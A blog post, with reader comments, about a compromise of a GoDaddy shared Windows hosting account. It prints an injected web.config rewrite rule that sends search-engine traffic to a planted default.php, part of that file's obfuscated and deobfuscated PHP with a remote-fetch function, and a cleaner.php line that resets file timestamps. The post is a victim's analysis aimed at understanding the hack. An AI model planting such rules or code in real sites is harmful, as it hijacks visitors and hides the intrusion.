GoDaddy shared Windows hosting compromised

A week or so ago, I talked briefly about some issues I was having with this blog and my previous static site on GoDaddy’s shared Windows hosting (the Deluxe version if you’re interested). It involves mysterious PHP files and modifications to my web.config files.

Background

For me GoDaddy shared Windows hosting has always been about hosting my blog on an IIS instance. The blog is an ASP.NET application called GraffitiCMS, open-sourced a few years back, although I’ve now altered the code quite a bit, and I currently run two other blogs with it on Microsoft Azure with no issues. GoDaddy, for whatever reason, but presumably to make it easy for others to use WordPress, also run a PHP instance on the same shared hosting server. Me, I’d rather it wasn’t there. Period.

Anyway, I’m into making my sites secure. This involves (among other things) getting an SSL certificate, and I’d have to say GoDaddy rip you off a bit here: you have to buy theirs, and you have to have a certain higher level of hosting (which I don’t have). So, I’ve been moving all my domain hosting off GoDaddy and onto AWS and Azure. boyet.com is the last to be done.

I’ve already moved the static site to secondboyet.com and left a web.config here on GoDaddy with a permanent redirect in place. This blog will be moving soon (I have about 5 months left on the hosting plan I pay for) and at that point, boyet.com will have its DNS pointing to Azure. Consequently, a couple of weeks ago, I’d cleaned up my folder structures here (and files therein) to only have the bare necessities ready for this move.

And then I discovered the hacking.

The hack

In essence, every few days some process, not part of anything I run, was:

Modifying my web.config file to add a block that watched URL requests and rewrote certain ones to route to default.php instead.

    <rewrite>
      <rules>
        <rule name="Protect files and directories from prying eyes" stopProcessing="false">
          <match url="^(.*)$" ignoreCase="true" />
          <conditions logicalGrouping="MatchAny">
            <add input="{HTTP_USER_AGENT}" pattern="(bing|google|yahoo|msn|aol)" ignoreCase="true" />
            <add input="{HTTP_REFERER}" pattern="(bing|google|yahoo|msn|aol)" ignoreCase="true" />
          </conditions>
          <action type="Rewrite" url="default.php" appendQueryString="false" />
        </rule>
      </rules>
    </rewrite> 

In essence, the code says “if the HTTP user agent includes those well-known web names, or the HTTP referrer does, route to and execute default.php instead”.

Adding an human-unreadable, obfuscated default.php file. It’s one line, no line breaks, 7KB in size, that starts out like this:

<?php ${"G\x4cO\x42\x41L\x53"}["\x6d\x6bm\x6a\x6ag\x76\x6ft"]="m";[…]?>

Yes, the ellipsis hides the other 7000+ characters. There’s a site (unPHP.net) that will deobfuscate such PHP code. It is instructive to look at the results (this is only the first part):

<?php
${"GLOBALS"}["mkmjjgvot"]    = "m";
${"GLOBALS"}["ydwkqwqmmzt"]  = "scheme";
${"GLOBALS"}["kmfpgywacgx"]  = "page";
${"GLOBALS"}["wdsbtdvhyt"]   = "result";
${"GLOBALS"}["pndmnrldpis"]  = "scheme";
${"GLOBALS"}["sunctqfyxono"] = "url";
${"GLOBALS"}["gpsgtnjjhme"]  = "ch";
@error_reporting(0);
if (!function_exists("getUrla")) {
    function getUrla($url)
    {
        if (function_exists("curl_init")) {
            ${${"GLOBALS"}["gpsgtnjjhme"]} = curl_init();
            ${"GLOBALS"}["ktuqlqodikj"]    = "ch";
            ${"GLOBALS"}["nhtqvb"]         = "result";
            ${"GLOBALS"}["gufkpfcyox"]     = "ch";
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_URL, ${${"GLOBALS"}["sunctqfyxono"]});
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
            curl_setopt(${${"GLOBALS"}["gufkpfcyox"]}, CURLOPT_TIMEOUT, 10);
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_RETURNTRANSFER, true);
            ${${"GLOBALS"}["nhtqvb"]} = curl_exec(${${"GLOBALS"}["ktuqlqodikj"]});
            curl_close(${${"GLOBALS"}["gpsgtnjjhme"]});
        } else {
            ${"GLOBALS"}["ogmtlyigg"]    = "result";
            ${${"GLOBALS"}["ogmtlyigg"]} = file_get_contents(${${"GLOBALS"}["sunctqfyxono"]});
        }
        return ${${"GLOBALS"}["wdsbtdvhyt"]};
    }
}
${${"GLOBALS"}["pndmnrldpis"]} = "http://";

... more code ...

if (@file_exists("cleaner.php")) {
    include_once("cleaner.php");
}
?>

Now I don’t know PHP at all, but even this PHP-noob can spot randomized variable names being added to the global namespace. A bit later there’s even a call to a PHP page on a site called routetheflow.ru. Can you spell “hack”?

Finally, adding a file called cleaner.php, which is referenced by the final bit of that default.php file.

@touch('web.config',-1,-1); @touch('default.php',-1,-1);

(In other words, updating the timestamps for both web.config and default.php to the current time, ignoring errors.)

Checking my files

Pretty much the first thing I did was to FTP-download my entire folder structure from the hosting to my main machine. And then verified all the files to make sure that there was nothing else hiding deep in the site. Nope, nothing. The compiled ASP.NET code is exactly the same as the other two blogs I run. There were no PHP files anywhere else. I even checked every single file for the character sequence “PHP”. Nope.

Conclusion

Something else in that shared Windows hosting server has been compromised. Some other site has been hacked, and that hack is then compromising my site and hosting, and almost certainly others as well. Also, for those that don’t know, GoDaddy publishes the “Absolute Hosting Path” for your hosting: it is of the form “D:\Hosting\[7-digit-number]\html”. I wonder if that embedded number is sequential…

(Aside: I wrote all this here because I can then contact GoDaddy support and point them to this post, rather than try and explain everything from scratch.)

lots of padlocks banner

Loading similar posts...   Loading links to posts on similar topics...

7 Responses

 avatar
#1 Rich said...
19-Sep-18 11:15 AM

You seem confident godaddy support will understand your post!

julian m bucknall avatar
#2 julian m bucknall said...
11-Oct-18 4:34 PM

All: It's now been three weeks since I wrote this post and linked to it from GoDaddy's Community forums. Let's put it like this: despite my checking every day since, the hack has not recurred. I'm guessing that someone at GoDaddy saw the post, read my blog, and tracked down the shared hosting culprit and squashed it. All without responding to me in any way, shape, or form. Sigh.

I'll continue checking ad hoc when I think of doing it.

Cheers, Julian

 avatar
#3 MJ said...
20-Jan-19 9:03 PM

Thought I would add a note in case others find this blog as I did. In Dec 2018 my GoDaddy site was hijacked. Two php files were uploaded and my web config was edited. My biggest suspect at the moment is the FTP client. Not quite sure how else the attacker could have gotten to the root. GoDaddy does not offer a way to modify permissions on the primary FTP account (at least not that I have seen so far).

julian m bucknall avatar
#4 julian m bucknall said...
20-Jan-19 10:22 PM

@MJ: Now that' s an interesting thought, very interesting. One of the things I also did at the time was to reset my FTP password for the site, mainly because I was being ultra cautious. Since I use a password manager, both the original and the new password were 14 characters, utterly random. Had my previous one been leaked? Dunno.

Anyway, it's all moot now: I've just completed the migration of this blog to Azure from GoDaddy, and it is now secure as well.

Cheers, Julian

 avatar
#5 Gary Schutte said...
26-Jun-19 4:58 PM

This is my wife's goat website. I'm a website developer and built this site pretty much from scratch, using DreamWeaver as the ftp back in 2011. After Google did the big SSL scare I put one on her site as well as my own early 2018. Sometime after I ran into problems with it and the GoDaddy tech suggested I just rename the web.config file or pay them to fix it. So I did not realizing it removed the SSL. She brought it to my attention this morning.

After two calls to GoDaddy they are standing their ground; no money no fix! They did send the php to permanently redirect it, but Firefox still seems to reject it and throws the "Warning: Potential Security Risk Ahead" message.

Then I found your blog! Same exact conditions, word for word, code for code. With one exception the default.php file was called "exemplified-grumpy.php" which I found and renamed. I guess I should delete that file? The last part of the code was the same as the redirect GoDaddy sent, which is what I have in place. If you have any suggestion for me is it possible to email me?

julian m bucknall avatar
#6 julian m bucknall said...
27-Jun-19 11:16 AM

@Gary: Best bet is to email me. You can find my email address under the Contact Me menu option at the top of the page.

Cheers, Julian

 avatar
#7 Jeff Loughlin said...
17-Jul-19 11:36 AM

Here we are 10 months later, and whatever compromised your site is still out there in the GoDaddy servers. I just found the same default.php on my site, and the same modification made to my web.config. I found your blog when I googled for others with the same issue.

I removed the default.php, fixed my web.config, and changed my admin password. Will see if it comes back in a few days like yours did.

Looks like GoDaddy has a security hole they haven't identified yet... 10 months is too long.

Leave a response

Note: some MarkDown is allowed, but HTML is not. Expand to show what's available.

  •  Emphasize with italics: surround word with underscores _emphasis_
  •  Emphasize strongly: surround word with double-asterisks **strong**
  •  Link: surround text with square brackets, url with parentheses [text](url)
  •  Inline code: surround text with backticks `IEnumerable`
  •  Unordered list: start each line with an asterisk, space * an item
  •  Ordered list: start each line with a digit, period, space 1. an item
  •  Insert code block: start each line with four spaces
  •  Insert blockquote: start each line with right-angle-bracket, space > Now is the time...
Preview of response